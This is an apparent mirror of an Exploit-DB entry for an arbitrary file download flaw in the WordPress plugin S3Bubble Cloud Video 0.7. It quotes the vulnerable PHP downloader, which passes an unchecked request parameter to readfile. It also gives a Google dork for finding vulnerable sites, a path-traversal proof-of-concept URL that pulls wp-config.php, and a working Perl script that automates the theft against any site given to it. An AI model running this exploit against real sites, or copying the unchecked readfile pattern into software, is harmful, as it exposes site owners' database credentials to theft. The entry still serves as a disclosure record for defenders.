WordPress Plugin S3Bubble Cloud Video With Adverts & Analytics 0.7 – Arbitrary File Download - 体验盒子

作者： CrashBandicot

日期： 2015-07-05

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/37494/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

# Exploit Title: WordPress S3Bubble Cloud Video With Adverts & Analytics - Arbitrary File Download

# Google Dork: inurl:/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/

# Date: 04/07/2015

# Exploit Author: CrashBandicot @DosPerl

# Vendor Homepage: https://s3bubble.com

# Software Link: https://wordpress.org/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/

# Version: 0.7

# Tested on: MSWin32

#EDB note: updated Software link to correct plugin.

# Vulnerable File : /wp-content/plugins/..../assets/plugins/ultimate/content/downloader.php

<?php

header("Content-Type: application/octet-stream");

header("Content-Disposition: attachment; filename=". $_GET['name']);

$path = urldecode($_GET['path']);

if(isset($path))readfile($path);

?>

# PoC : http://127.0.0.1/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?name=wp-config.php&path=../../../../../../../wp-config.php

# Exploit :

#!/usr/bin/perl

use LWP::UserAgent;

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

if(@ARGV < 2)

{

die("\n\n[+] usage : perl $0 site.com /path/");

}

print q{

WordPress S3Bubble Cloud Video With Adverts & Analytics - Arbitrary File Download

->CrashBandicot

};

($Target,$path) = @ARGV;

if($Target !~ /^(http|https):\/\//)

{

$Target = "http://$Target";

}

$xpl = "/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php";

my $url = $Target.$path.$xpl;

print "\n [?] Exploiting ...... \n\n";

$ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });

$req = $ua->get($url,":content_file" => "wp-config.php");

if ($req->is_success)

{

print "[+] $url Exploited!\n\n";

print "[+] File save to name : wp-config.php\n";

}

else

{

die("[!] Exploit Failed !\n");

}

_END_